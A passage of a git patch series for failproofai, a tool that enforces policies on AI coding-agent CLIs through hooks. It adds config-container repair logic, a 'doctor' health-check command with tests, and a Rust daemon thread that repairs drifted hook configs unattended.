vi.fn(() => ["claude"]), + // The install path resets a container whose TYPE the vendor changed before + // writing into it — see `resetMistypedContainers`. Nothing here exercises + // that, but the mock has to export it or the install throws. + resetMistypedContainers: vi.fn(() => []), getIntegration: vi.fn((id: string) => ({ displayName: id, scopes: id === "codex" ? ["user", "project"] : ["user", "project", "local"], diff --git a/__tests__/hooks/reset-mistyped-containers.test.ts b/__tests__/hooks/reset-mistyped-containers.test.ts new file mode 100644 index 000000000..043d200c0 --- /dev/null +++ b/__tests__/hooks/reset-mistyped-containers.test.ts @@ -0,0 +1,134 @@ +// @vitest-environment node +/** + * `writeHookEntries` reaches for its container with `??=`, which accepts + * whatever is already there. When a vendor changes the container TYPE that is + * silently catastrophic — and, worse, permanent: copilot's + * `settings.hooks ??= {}` keeps a pre-existing ARRAY, the following + * `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops + * it, and INSTALLING AGAIN does exactly the same thing. A user whose vendor + * changed format could reinstall forever, stay completely unenforced, and see + * every command report success. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { getIntegration, resetMistypedContainers } from "../../src/hooks/integrations"; +import { INTEGRATION_TYPES } from "../../src/hooks/types"; + +const BINARY = "/usr/bin/failproofai"; +let sandbox: string; +let prevCwd: string; +let prevHome: string | undefined; + +beforeEach(() => { + sandbox = mkdtempSync(join(tmpdir(), "fpai-coerce-")); + prevCwd = process.cwd(); + prevHome = process.env.HOME; + // OpenCode derives its generated shim path from cwd/HOME, so both must point + // somewhere disposable or probing it writes into the real repo. + process.chdir(sandbox); + process.env.HOME = sandbox; +}); + +afterEach(() => { + process.chdir(prevCwd); + if (prevHome === undefined) delete process.env.HOME; + else process.env.HOME = prevHome; + rmSync(sandbox, { recursive: true, force: true }); +}); + +describe("resetMistypedContainers", () => { + it("recovers a copilot config stuck in the pre-1.0.71 array shape", () => { + const copilot = getIntegration("copilot"); + const settings: Record = { + version: 1, + hooks: [ + { + event: "PreToolUse", + type: "command", + bash: "npx -y failproofai --hook PreToolUse --cli copilot", + __failproofai_hook__: true, + }, + ], + }; + + // Without the reset, this is the bug — and it is worse than "our entries + // are missing": the array keeps the OLD content the vendor already rejects, + // while our new entries, set as non-index properties, are thrown away by + // serialisation. The file on disk comes back byte-identical to the broken + // one it started as. + const naive = structuredClone(settings); + copilot.writeHookEntries(naive, BINARY, "project"); + expect(Array.isArray(naive.hooks)).toBe(true); + expect(JSON.parse(JSON.stringify(naive)).hooks).toEqual(settings.hooks); + + const reset = resetMistypedContainers(copilot, settings, BINARY, "project"); + expect(reset).toEqual(["hooks"]); + copilot.writeHookEntries(settings, BINARY, "project"); + + const roundTripped = JSON.parse(JSON.stringify(settings)) as { hooks: Record }; + expect(Array.isArray(roundTripped.hooks)).toBe(false); + expect(Object.keys(roundTripped.hooks).length).toBeGreaterThan(0); + }); + + it("leaves a correctly-typed container alone", () => { + const copilot = getIntegration("copilot"); + const settings: Record = {}; + copilot.writeHookEntries(settings, BINARY, "project"); + expect(resetMistypedContainers(copilot, settings, BINARY, "project")).toEqual([]); + }); + + it("never touches keys the writer does not own", () => { + const claude = getIntegration("claude"); + const settings: Record = { + permissions: { allow: ["WebSearch"] }, + model: "opus", + // A user's own list that happens to be an array — not ours, not in scope. + somebodyElsesArray: [1, 2, 3], + hooks: ["wrong shape"], + }; + const reset = resetMistypedContainers(claude, settings, BINARY, "project"); + expect(reset).toEqual(["hooks"]); + expect(settings.permissions).toEqual({ allow: ["WebSearch"] }); + expect(settings.model).toBe("opus"); + expect(settings.somebodyElsesArray).toEqual([1, 2, 3]); + }); + + it("is a no-op for every integration on a config it just wrote", () => { + // The invariant that keeps this safe to run on every install: a healthy + // config is never "reset", so the only files it can touch are ones already + // in a shape their vendor rejects. + for (const cli of INTEGRATION_TYPES) { + let integration: ReturnType; + try { + integration = getIntegration(cli); + } catch { + continue; + } + const scope = integration.scopes.includes("project") ? "project" : integration.scopes[0]; + const settings: Record = {}; + try { + integration.writeHookEntries(settings, BINARY, scope); + } catch { + continue; + } + expect({ cli, reset: resetMistypedContainers(integration, settings, BINARY, scope) }).toEqual({ + cli, + reset: [], + }); + } + }); + + it("returns nothing rather than guessing when the writer will not probe", () => { + const broken = { + ...getIntegration("claude"), + writeHookEntries: () => { + throw new Error("cannot run against an empty object"); + }, + } as ReturnType; + const settings: Record = { hooks: ["wrong shape"] }; + expect(resetMistypedContainers(broken, settings, BINARY, "project")).toEqual([]); + expect(settings.hooks).toEqual(["wrong shape"]); + }); +}); diff --git a/src/hooks/config-repair.ts b/src/hooks/config-repair.ts index 8f4a790a0..418ed89cb 100644 --- a/src/hooks/config-repair.ts +++ b/src/hooks/config-repair.ts @@ -44,7 +44,7 @@ */ import { copyFileSync, existsSync, mkdirSync, readdirSync, rmSync, statSync } from "node:fs"; import { join } from "node:path"; -import { getIntegration } from "./integrations"; +import { getIntegration, resetMistypedContainers } from "./integrations"; import { configBackupsDir } from "./fp-home"; import { detectConfigDrift, type ConfigDriftReport } from "./config-drift"; import type { HookScope, IntegrationType } from "./types"; @@ -114,47 +114,6 @@ function prune(dir: string): void { } } -/** - * Drop our own top-level containers whose TYPE no longer matches what this - * build writes, so the rewrite starts from something it can populate. - * - * Found while testing the exact case repair exists for. Copilot's - * `writeHookEntries` does `settings.hooks ??= {}`; when `hooks` is already an - * ARRAY — the 1.0.70 shape 1.0.71 rejected — the `??=` keeps the array, and - * `hooks["PreToolUse"] = …` then sets a non-index property that - * `JSON.stringify` silently drops. Our entries disappear and the file stays - * broken. That is not a repair bug: it means a plain - * `failproofai policies --install` cannot fix an old-shape config either. - * - * The expected container type is learned rather than hardcoded — we run the - * integration's own writer against an empty object and look at what it built, - * so this stays correct for all twelve without a table to maintain. - * - * Only keys the probe itself defines are touched, and only when the container - * TYPE differs. Whatever the old container held is discarded, which is the - * deliberate part: it is in a format the vendor already rejects, and the backup - * taken moments earlier is the way back. - */ -function coerceContainers( - settings: Record, - probe: Record, -): string[] { - const dropped: string[] = []; - for (const key of Object.keys(probe)) { - if (!(key in settings)) continue; - const live = settings[key]; - const want = probe[key]; - const liveIsArray = Array.isArray(live); - const wantIsArray = Array.isArray(want); - const bothObjects = typeof live === "object" && live !== null && typeof want === "object"; - if (bothObjects && liveIsArray !== wantIsArray) { - delete settings[key]; - dropped.push(key); - } - } - return dropped; -} - /** Re-run detection for exactly one file. The only honest "did it work". */ function statusAfter( cli: IntegrationType, @@ -196,14 +155,9 @@ function repairOne(report: ConfigDriftReport, cwd: string, dryRun: boolean): Rep const binaryPath = resolveFailproofaiBinary(); const settings = integration.readSettings(settingsPath); - try { - const probe: Record = {}; - integration.writeHookEntries(probe, binaryPath, scope); - coerced = coerceContainers(settings, probe); - } catch { - // A writer that will not run against an empty object tells us nothing - // about the expected shape. Proceed without coercing rather than guess. - } + // Shared with the install path: a container whose type the vendor changed + // cannot be written into, and reinstalling hits the same wall every time. + coerced = resetMistypedContainers(integration, settings, binaryPath, scope); integration.writeHookEntries(settings, binaryPath, scope); integration.writeSettings(settingsPath, settings); diff --git a/src/hooks/integrations.ts b/src/hooks/integrations.ts index 7294e9893..4b97eb9cb 100644 --- a/src/hooks/integrations.ts +++ b/src/hooks/integrations.ts @@ -126,6 +126,61 @@ function writeYamlDoc(path: string, doc: Document): void { writeFileSync(path, doc.toString(), "utf8"); } +/** + * Reset our own top-level containers whose TYPE no longer matches what this + * build writes, so `writeHookEntries` starts from something it can populate. + * + * Every `writeHookEntries` reaches for its container with `??=` or equivalent, + * which accepts whatever is already there. When a vendor changes the container + * TYPE that is silently catastrophic: copilot's `settings.hooks ??= {}` keeps a + * pre-existing ARRAY — the 1.0.70 shape 1.0.71 rejected — and the following + * `hooks["PreToolUse"] = …` sets a non-index property on it, which + * `JSON.stringify` drops. Our entries vanish, the file stays broken, and + * INSTALLING AGAIN does not fix it: the second run hits the same array and + * drops them again. A user whose vendor changed format could reinstall forever + * and stay unenforced, with every command reporting success. + * + * The expected type is learned rather than hardcoded: run the integration's own + * writer against an empty object and look at what it built. That stays correct + * for all twelve without a table to maintain, and cannot disagree with the + * writer because it asks the writer. + * + * Only keys the probe itself defines are considered, and only when the + * container type differs — a user's unrelated settings are never in scope. + * Whatever the mismatched container held is discarded, which is the deliberate + * part: it is in a shape the vendor already rejects. Returns the keys reset, so + * a caller can say so rather than doing it silently. + */ +export function resetMistypedContainers( + integration: Integration, + settings: Record, + binaryPath: string, + scope: HookScope, +): string[] { + let probe: Record; + try { + probe = {}; + integration.writeHookEntries(probe, binaryPath, scope); + } catch { + // A writer that will not run against an empty object tells us nothing + // about the shape it wants. Proceed without resetting rather than guess. + return []; + } + + const reset: string[] = []; + for (const key of Object.keys(probe)) { + if (!(key in settings)) continue; + const live = settings[key]; + const want = probe[key]; + if (typeof live !== "object" || live === null) continue; + if (typeof want !== "object" || want === null) continue; + if (Array.isArray(live) === Array.isArray(want)) continue; + delete settings[key]; + reset.push(key); + } + return reset; +} + function isMarkedHook(hook: unknown): boolean { if (!hook || typeof hook !== "object") return false; const h = hook as Record; diff --git a/src/hooks/manager.ts b/src/hooks/manager.ts index 2a32a4b77..dc7253493 100644 --- a/src/hooks/manager.ts +++ b/src/hooks/manager.ts @@ -14,7 +14,12 @@ import { type HookScope, type IntegrationType, } from "./types"; -import { claudeCode, getIntegration, settingsPathsFor } from "./integrations"; +import { + claudeCode, + getIntegration, + resetMistypedContainers, + settingsPathsFor, +} from "./integrations"; import { promptPolicySelection } from "./install-prompt"; import { configuredCustomPolicyPaths, readMergedHooksConfig, readScopedHooksConfig, writeScopedHooksConfig, syncConventionPolicies, findProjectConfigDir } from "./hooks-config"; import type { HooksConfig, ConventionPolicyRecord } from "./policy-types"; @@ -308,6 +313,16 @@ async function installHooksImpl( try { for (const settingsPath of settingsPaths) { const settings = integration.readSettings(settingsPath); + // A container whose TYPE the vendor changed cannot be written into — + // and reinstalling would hit the same wall every time, leaving the user + // unenforced while every command reported success. See + // `resetMistypedContainers`. + const reset = resetMistypedContainers(integration, settings, binaryPath, scope); + if (reset.length > 0) { + console.log( + ` ${cliId}: replaced ${reset.join(", ")} — the previous value was the wrong shape for this CLI version`, + ); + } integration.writeHookEntries(settings, binaryPath, scope); integration.writeSettings(settingsPath, settings); writtenSettingsPaths.push({ cli: cliId, path: settingsPath }); From 09f2f27025cae49d4dc52801ed10ddcf2996d6b8 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 10:40:39 +0530 Subject: [PATCH 05/18] Close the loop: `failproofai doctor` and a daemon lane that runs it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The detector and the repair existed but nothing ran them. This adds the command a human uses and the lane that runs it unattended, which is the point — these configs break on headless servers where a warning in a log nobody opens is indistinguishable from everything working. ## `failproofai doctor [--fix] [--json] [--user|--project]` Pure module returning lines + an exit code, so behaviour is testable without a CLI, a TTY or a process; `bin/failproofai.mjs` only prints what comes back. Same split `harness-cli.ts` uses, and for the same reason — `.mjs` is outside tsconfig, so anything living there is never type-checked. The exit codes are a contract, not a convention, because the lane can only act on the number: 0 nothing wrong, or everything wrong was repaired 1 findings remain that a human should look at 2 could not check 2 is deliberately distinct from 1. On an unattended box "I checked and it is broken" and "I could not check" demand different responses, and collapsing them is how a detector that has silently stopped working gets mistaken for a machine that is merely unhealthy. `--fix` re-reads after repairing, so the verdict describes the machine as it is NOW rather than as it was before we changed it. `doctor` joins FIRST_RUN_EXEMPT_SUBCOMMANDS: the lane runs it unattended, and an interactive setup prompt there is a lane that hangs until its timeout, every tick, forever, while the config says repair is on. ## The lane `repair_lane.rs` is `audit_lane`'s twin by design: own thread, same shutdown flag, config re-read every tick so `failproofai config` takes effect without root, every fault swallowed, and `spawn()` returning None rather than `.expect()`-ing — a machine at its thread limit must not panic a daemon whose death denies every tool call across twelve CLIs. It spawns the CLI rather than reaching into the warm worker, whose socket speaks only `hook`, has a committed tripwire against new message types, and whose 30s cap becomes a machine-wide deny. USER scope only: project scope needs a session cwd this daemon does not have and PROTOCOL.md forbids it inventing, so that half belongs on the hook path where a real cwd arrives with every request. The first check waits five minutes. A daemon start is frequently the MIDDLE of a setup rather than the end of one — `failproofai config` installs the service and then goes on writing hook entries — so repairing immediately would read configs mid-write and "fix" a machine three seconds from being correct. Nothing here is urgent: config drift arrives with a vendor update. That delay also removed a real interference the e2e caught: both lanes spawn $FAILPROOFAI_CLI_CMD, and audit_lane_e2e's stub records every invocation, so three of its cases saw `doctor --fix` where they expected `audit --scheduled`. Fixed by the delay rather than by editing those assertions, because the delay is correct on its own merits. Repair defaults ON via `hooks.auto_repair`, absent meaning true. The knob is for operators who would rather their files were never touched unattended; the default matches the machines this runs on. 11 doctor tests, 3 lane tests. cargo test/clippy/fmt clean, tsc clean, 3,864 unit tests green apart from two fp-reset cases that fail identically on clean main. Co-Authored-By: Claude Opus 5 (1M context) --- __tests__/hooks/doctor-cli.test.ts | 158 ++++++++++++ bin/failproofai.mjs | 51 +++- crates/failproofaid/src/main.rs | 8 + crates/failproofaid/src/repair_lane.rs | 323 +++++++++++++++++++++++++ src/hooks/doctor-cli.ts | 189 +++++++++++++++ src/hooks/first-run-gate.ts | 4 + 6 files changed, 732 insertions(+), 1 deletion(-) create mode 100644 __tests__/hooks/doctor-cli.test.ts create mode 100644 crates/failproofaid/src/repair_lane.rs create mode 100644 src/hooks/doctor-cli.ts diff --git a/__tests__/hooks/doctor-cli.test.ts b/__tests__/hooks/doctor-cli.test.ts new file mode 100644 index 000000000..f76a0e217 --- /dev/null +++ b/__tests__/hooks/doctor-cli.test.ts @@ -0,0 +1,158 @@ +// @vitest-environment node +/** + * `doctor`'s exit code is a contract the daemon's repair lane depends on, and + * the lane can only act on the number. So the assertions here are mostly about + * the codes: 0 clean or repaired, 1 findings remain, and 2 for "could not + * check" — which must never collapse into 1, because on a headless box + * "it is broken" and "I could not look" need different responses. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, readFileSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { runDoctorCommand } from "../../src/hooks/doctor-cli"; +import { claudeCode } from "../../src/hooks/integrations"; + +let cwd: string; +let home: string; +let prevCwd: string; +const BINARY = "/usr/bin/failproofai"; + +function install(): string { + const path = claudeCode.getSettingsPath("project", cwd); + const settings = claudeCode.readSettings(path); + claudeCode.writeHookEntries(settings, BINARY, "project"); + claudeCode.writeSettings(path, settings); + return path; +} + +/** Break it the way a vendor changing a field's type would. */ +function makeStale(path: string): void { + const settings = JSON.parse(readFileSync(path, "utf8")) as Record; + const groups = (settings.hooks as Record> }>>) + .PreToolUse; + groups[0].hooks[0].timeout = "60s"; + writeFileSync(path, JSON.stringify(settings, null, 2)); +} + +const text = (r: { lines: string[] }) => r.lines.join("\n"); + +beforeEach(() => { + cwd = mkdtempSync(join(tmpdir(), "fpai-doctor-")); + home = mkdtempSync(join(tmpdir(), "fpai-doctor-home-")); + prevCwd = process.cwd(); + process.chdir(cwd); + process.env.FAILPROOFAI_HOME = home; + process.env.FAILPROOFAI_BINARY_OVERRIDE = BINARY; +}); + +afterEach(() => { + process.chdir(prevCwd); + delete process.env.FAILPROOFAI_HOME; + delete process.env.FAILPROOFAI_BINARY_OVERRIDE; + rmSync(cwd, { recursive: true, force: true }); + rmSync(home, { recursive: true, force: true }); +}); + +describe("doctor: exit codes", () => { + it("exits 0 on a healthy machine", () => { + install(); + const result = runDoctorCommand(["--project"]); + expect(result.exitCode).toBe(0); + expect(text(result)).toContain("Nothing to fix"); + }); + + it("exits 0 when nothing is installed at all", () => { + // Not installed is not broken. A machine that never set up must not look + // like one whose enforcement fell over. + const result = runDoctorCommand(["--project"]); + expect(result.exitCode).toBe(0); + expect(text(result)).toContain("no agent CLI has failproofai hooks installed"); + }); + + it("exits 1 when a config has drifted", () => { + makeStale(install()); + const result = runDoctorCommand(["--project"]); + expect(result.exitCode).toBe(1); + expect(text(result)).toContain("DRIFTED"); + expect(text(result)).toContain("doctor --fix"); + }); + + it("exits 1 for a file it cannot read, and says a human is needed", () => { + const path = install(); + writeFileSync(path, "{ not json at all"); + const result = runDoctorCommand(["--project"]); + expect(result.exitCode).toBe(1); + expect(text(result)).toContain("UNREADABLE"); + expect(text(result)).toContain("needs a human"); + }); + + it("exits 2 — not 1 — on an argument it does not understand", () => { + const result = runDoctorCommand(["--wat"]); + expect(result.exitCode).toBe(2); + expect(text(result)).toContain("Unexpected argument"); + }); +}); + +describe("doctor --fix", () => { + it("repairs, then reports the machine as it is NOW", () => { + const path = install(); + makeStale(path); + expect(runDoctorCommand(["--project"]).exitCode).toBe(1); + + const fixed = runDoctorCommand(["--project", "--fix"]); + expect(fixed.exitCode).toBe(0); + expect(text(fixed)).toContain("REPAIRED"); + // The verdict must come from a re-read, not from the pre-repair scan. + expect(text(fixed)).toContain("Nothing to fix"); + expect(runDoctorCommand(["--project"]).exitCode).toBe(0); + }); + + it("does not suggest --fix when it has already run", () => { + const path = install(); + writeFileSync(path, "{ not json at all"); + const result = runDoctorCommand(["--project", "--fix"]); + expect(result.exitCode).toBe(1); + expect(text(result)).not.toContain("doctor --fix"); + }); +}); + +describe("doctor: output shapes", () => { + it("emits parseable JSON carrying reports, repairs and findings", () => { + makeStale(install()); + const result = runDoctorCommand(["--project", "--json"]); + const parsed = JSON.parse(text(result)) as { + reports: unknown[]; + repairs: unknown[]; + findings: unknown[]; + }; + expect(Array.isArray(parsed.reports)).toBe(true); + expect(parsed.findings).toHaveLength(1); + expect(result.exitCode).toBe(1); + }); + + it("keeps the scheduled form to one line when there is nothing to say", () => { + // This lands in a daemon log every tick. A ten-line table each time is how + // a log stops being read. + install(); + const result = runDoctorCommand(["--project", "--scheduled"]); + expect(result.exitCode).toBe(0); + expect(result.lines.filter((l) => l.trim().length > 0)).toHaveLength(1); + expect(text(result)).toContain("nothing to repair"); + }); + + it("still reports the detail when scheduled and something is wrong", () => { + makeStale(install()); + const result = runDoctorCommand(["--project", "--scheduled", "--fix"]); + expect(result.exitCode).toBe(0); + expect(text(result)).toContain("REPAIRED"); + }); + + it("hides the CLIs that are simply not installed", () => { + install(); + const result = runDoctorCommand(["--project"]); + // A machine has twelve integrations and most people install one or two. + expect(text(result)).not.toContain("not installed here"); + expect(text(result)).toContain("claude"); + }); +}); diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs index 419a0a53f..4c1600e89 100755 --- a/bin/failproofai.mjs +++ b/bin/failproofai.mjs @@ -271,7 +271,7 @@ if (hookIdx >= 0) { */ async function runCli() { // --help / -h (only when not inside a subcommand that handles its own --help) - const SUBCOMMANDS = ["policies", "policy", "audit", "config", "uninstall", "backfill", "flush", "harness"]; + const SUBCOMMANDS = ["policies", "policy", "audit", "config", "uninstall", "backfill", "flush", "harness", "doctor"]; if ((args.includes("--help") || args.includes("-h")) && !SUBCOMMANDS.includes(args[0])) { const extraArgs = args.filter((a) => a !== "--help" && a !== "-h"); if (extraArgs.length > 0) { @@ -777,6 +777,55 @@ EXAMPLES return; } + if (args[0] === "doctor") { + const subArgs = args.slice(1); + if (subArgs.includes("--help") || subArgs.includes("-h")) { + console.log(` +failproofai doctor — check that this machine's hook configs are still wired up + +USAGE + failproofai doctor [--fix] [--json] [--user|--project] + +WHAT IT CHECKS + Whether each agent CLI's hook config still matches what this build installs. + When a vendor changes its config format, our entry stops being valid and that + CLI runs with NO enforcement — every policy, silently. This is the check for + that; it does NOT prove the vendor accepted the file, only the vendor's own + behaviour can show that. + +OPTIONS + --fix repair what drifted: back up, rewrite, verify, roll back if it + did not take + --json machine-readable output + --user user-scope configs only + --project project-scope configs only (uses the current directory) + +EXIT CODES + 0 nothing wrong, or everything wrong was repaired + 1 findings remain that a human should look at + 2 could not check — refusing to answer rather than answering "fine" +`.trimStart()); + process.exit(0); + } + + lastSubcommand = "doctor"; + const { runDoctorCommand } = await import("../src/hooks/doctor-cli"); + const result = runDoctorCommand(subArgs); + for (const line of result.lines) { + if (result.exitCode === 0) console.log(line); + else console.error(line); + } + await track("cli_doctor", { + ok: result.exitCode === 0, + exit_code: result.exitCode, + fixed: subArgs.includes("--fix"), + scheduled: subArgs.includes("--scheduled"), + }); + lastSubcommand = null; + await exitAfterFlush(result.exitCode); + return; + } + // uninstall [--purge] [--dry-run] [--yes|-y] // // Top-level, and deliberately NOT a flag on `policies`. `policies --uninstall` diff --git a/crates/failproofaid/src/main.rs b/crates/failproofaid/src/main.rs index 51a3a456b..69a88d832 100644 --- a/crates/failproofaid/src/main.rs +++ b/crates/failproofaid/src/main.rs @@ -3,6 +3,7 @@ mod cloud_client; pub mod cloud_policies; mod lock; mod paths; +mod repair_lane; mod server; mod telemetry; #[cfg(test)] @@ -139,6 +140,12 @@ fn run() -> Result<(), Box> { // WITHOUT root, against a system unit — takes effect without a restart. let mut audit_lane = audit_lane::spawn(shutdown.clone()); + // Hook-config repair. Same shape as the audit lane and the same reasoning: + // its own thread, the same shutdown flag, config re-read every tick, and + // nothing propagated to `run()` — a fault in a lane nobody watches must + // never take down a daemon that fails closed. + let mut repair_lane = repair_lane::spawn(shutdown.clone()); + // Handled rather than `?`-ed, because a bare `?` here returns past every // join below — including the telemetry flush — so a daemon that cannot bind // its socket would buffer `daemon_started` and then take it to the grave. @@ -181,6 +188,7 @@ fn run() -> Result<(), Box> { // waits on its child and kills the process group rather than waiting the // scan out, so a `systemctl stop` is never held up by an audit. join_lane(&mut audit_lane); + join_lane(&mut repair_lane); // Joined BEFORE the stop event is recorded, so nothing contends with the // final send. `run_result` is what distinguishes the two ways this daemon diff --git a/crates/failproofaid/src/repair_lane.rs b/crates/failproofaid/src/repair_lane.rs new file mode 100644 index 000000000..f427350a8 --- /dev/null +++ b/crates/failproofaid/src/repair_lane.rs @@ -0,0 +1,323 @@ +//! Keep this machine's hook configs wired up, without anyone watching. +//! +//! When a vendor changes the SHAPE of its hook config, our installed entry +//! stops being valid and that CLI runs with no enforcement at all — every +//! policy, silently. Five of the incidents on record are that class. On a +//! desktop a person eventually notices; on the headless servers this daemon was +//! built for there is nobody to notice, and a warning in a log nobody opens is +//! indistinguishable from everything working. +//! +//! So the lane repairs rather than warns. What makes that defensible is the +//! failure symmetry, not confidence: unmonitored, NOT repairing means +//! enforcement is silently absent, and repairing BADLY means enforcement is +//! silently absent plus a mangled file. Nobody sees either. The CLI side is +//! therefore built so the worst case of repairing is no worse than not +//! repairing — it backs up, rewrites, verifies by re-running detection, and +//! restores the previous bytes when it does not verify (see +//! `src/hooks/config-repair.ts`). +//! +//! Structurally this is `audit_lane`'s twin and deliberately so: own thread, +//! same shutdown flag, config re-read every tick, every fault swallowed. It +//! spawns the TypeScript CLI rather than reaching into the warm worker, because +//! that socket speaks only `hook`, a committed test fails if anyone adds a +//! second message type, and its 30s cap turns into a machine-wide deny. +//! +//! USER scope only. Project scope needs a session cwd, which this daemon does +//! not have and `PROTOCOL.md` forbids it inventing — that half belongs on the +//! hook path, where a real cwd arrives with every request. + +use std::io; +use std::panic::AssertUnwindSafe; +use std::process::{Child, Command, Stdio}; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::thread::JoinHandle; +use std::time::{Duration, Instant}; + +/// How often the lane wakes. Config drift arrives with a vendor UPDATE, so the +/// interesting timescale is days; hourly is already far tighter than the event +/// it watches for, and cheap because a clean check spawns nothing at all. +const DEFAULT_INTERVAL: Duration = Duration::from_secs(60 * 60); + +/// How long to wait before the FIRST check. +/// +/// A daemon start is frequently the middle of a setup, not the end of one: +/// `failproofai config` installs the service and THEN goes on connecting and +/// writing hook entries, so a lane that repaired the instant it started would +/// be reading configs mid-write and "fixing" a machine that was three seconds +/// from being correct. Nothing here is urgent either — config drift arrives +/// with a vendor UPDATE, so the timescale is days. +const FIRST_TICK_DELAY: Duration = Duration::from_secs(5 * 60); + +/// Long enough for twelve integrations on a slow disk, short enough that a +/// wedged child cannot hold the lane past the next tick. +const CHILD_TIMEOUT: Duration = Duration::from_secs(5 * 60); + +/// `doctor`'s contract. 2 is "could not check", which is NOT the same as +/// finding a problem and must not be reported as one. +const EXIT_CANNOT_CHECK: i32 = 2; + +enum Outcome { + Exited(i32), + Signalled, + NotStarted(io::Error), +} + +#[derive(Default)] +struct Lane { + /// So a permanent condition — no CLI command in the unit, repair switched + /// off — is said once rather than every hour for the life of the machine. + announced: Option<&'static str>, +} + +/// Start the repair lane. +/// +/// Returns `None` when the OS refused the thread. Deliberately not `.expect()`: +/// this daemon fails closed, so panicking `run()` because a machine hit its +/// thread limit would deny every tool call across all twelve CLIs. Losing +/// scheduled repair is a feature being off; losing the daemon is a machine +/// being unusable. +pub fn spawn(shutdown: Arc) -> Option> { + std::thread::Builder::new() + .name("fpai-repair-lane".to_string()) + .spawn(move || { + let mut lane = Lane::default(); + wait_until_shutdown(&shutdown, FIRST_TICK_DELAY); + while !shutdown.load(Ordering::Relaxed) { + // A panic here would end the lane permanently and silently while + // the machine kept reporting that repair was on — the shape of + // failure this whole feature exists to remove. + if std::panic::catch_unwind(AssertUnwindSafe(|| lane.tick(&shutdown))).is_err() { + eprintln!("[failproofaid] repair lane panicked; it will try again next tick"); + } + wait_until_shutdown(&shutdown, DEFAULT_INTERVAL); + } + }) + .inspect_err(|err| { + eprintln!( + "[failproofaid] could not start the repair lane: {err}; \ + hook configs will not be checked this run" + ); + }) + .ok() +} + +impl Lane { + fn tick(&mut self, shutdown: &AtomicBool) { + // Read every tick rather than at startup: `failproofai config` writes + // this file WITHOUT root while this is a system unit, so resolving once + // would put `sudo systemctl restart` back into a flow built to avoid it. + if !repair_enabled() { + self.announce("off", "hook-config repair is disabled"); + return; + } + + // The most likely way this feature is silently inert on a real machine: + // an install predating `FAILPROOFAI_CLI_CMD` keeps its old unit, so the + // daemon has no way to launch the CLI while the config says repair is + // on. `ensureDaemonServiceCurrent()` repairs the unit on the next + // `failproofai config`. + let Some(cli_cmd) = cli_command() else { + self.announce( + "no-cli", + "hook-config repair is ON but this service unit carries no FAILPROOFAI_CLI_CMD, \ + so nothing can run it — re-run `failproofai config` to refresh the unit", + ); + return; + }; + + self.announced = None; + match run_child(&cli_cmd, shutdown) { + // 0 = clean or repaired, 1 = findings a human should see. Both mean + // the check ran; `doctor` has already said which on stderr. + Outcome::Exited(0) | Outcome::Exited(1) => {} + Outcome::Exited(EXIT_CANNOT_CHECK) => { + eprintln!( + "[failproofaid] hook-config repair could not check this machine; \ + run `failproofai doctor` to see why" + ); + } + Outcome::Exited(code) => { + eprintln!("[failproofaid] hook-config repair exited {code}"); + } + Outcome::Signalled => {} + Outcome::NotStarted(err) => { + eprintln!("[failproofaid] could not run hook-config repair: {err}"); + } + } + } + + fn announce(&mut self, key: &'static str, message: &str) { + if self.announced == Some(key) { + return; + } + self.announced = Some(key); + eprintln!("[failproofaid] {message}"); + } +} + +/// Default ON. The knob exists for operators who would rather their config +/// files were never touched unattended; the default matches the machines this +/// runs on, where nobody is reading warnings. +fn repair_enabled() -> bool { + let Ok(home) = crate::paths::failproofai_home() else { + return false; + }; + let Ok(raw) = std::fs::read_to_string(home.join("config.json")) else { + return true; + }; + let Ok(value) = serde_json::from_str::(&raw) else { + return true; + }; + value + .get("hooks") + .and_then(|h| h.get("auto_repair")) + .and_then(serde_json::Value::as_bool) + .unwrap_or(true) +} + +fn cli_command() -> Option { + usable_cli_command(std::env::var("FAILPROOFAI_CLI_CMD").ok()) +} + +/// Split out so "present but empty" is testable without mutating process-global +/// environment, which Rust's parallel harness makes a race rather than a fixture. +fn usable_cli_command(raw: Option) -> Option { + raw.map(|v| v.trim().to_string()).filter(|v| !v.is_empty()) +} + +fn run_child(cli_cmd: &str, shutdown: &AtomicBool) -> Outcome { + let mut child = match spawn_child(cli_cmd) { + Ok(child) => child, + Err(err) => return Outcome::NotStarted(err), + }; + + let started = Instant::now(); + loop { + match child.try_wait() { + Ok(Some(status)) => { + return match status.code() { + Some(code) => Outcome::Exited(code), + None => Outcome::Signalled, + }; + } + Ok(None) => {} + Err(err) => { + kill_process_group(&mut child); + return Outcome::NotStarted(err); + } + } + // Kill rather than orphan: leaving it to the service manager means the + // daemon's own join() waits out a full repair on every restart, and on + // macOS nothing reaps it at all. + if shutdown.load(Ordering::Relaxed) { + kill_process_group(&mut child); + return Outcome::Signalled; + } + if started.elapsed() > CHILD_TIMEOUT { + eprintln!( + "[failproofaid] hook-config repair exceeded {}s; killing it", + CHILD_TIMEOUT.as_secs() + ); + kill_process_group(&mut child); + return Outcome::Signalled; + } + std::thread::sleep(Duration::from_millis(200)); + } +} + +fn spawn_child(cli_cmd: &str) -> io::Result { + use std::os::unix::process::CommandExt; + + let mut command = Command::new("sh"); + command + .arg("-c") + .arg(format!("{cli_cmd} doctor --fix --scheduled --user")) + .stdin(Stdio::null()) + // Piped and drained for the same two reasons the worker's spawn is: + // inheriting this process's stdout hands the child an fd that may belong + // to a pipeline, and an undrained pipe fills at ~64 KiB and blocks the + // child mid-write. + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + // Its own group, so the timeout can kill the whole tree: `sh -c` is not + // guaranteed to exec(2) in place, and killing only the tracked pid would + // leave a real repair running against files nobody is watching. + .process_group(0); + + let mut child = command.spawn()?; + if let Some(out) = child.stdout.take() { + std::thread::spawn(move || forward_child_output("stdout", out)); + } + if let Some(err) = child.stderr.take() { + std::thread::spawn(move || forward_child_output("stderr", err)); + } + Ok(child) +} + +fn forward_child_output(label: &'static str, pipe: impl io::Read) { + use std::io::BufRead; + for line in io::BufReader::new(pipe).lines().map_while(Result::ok) 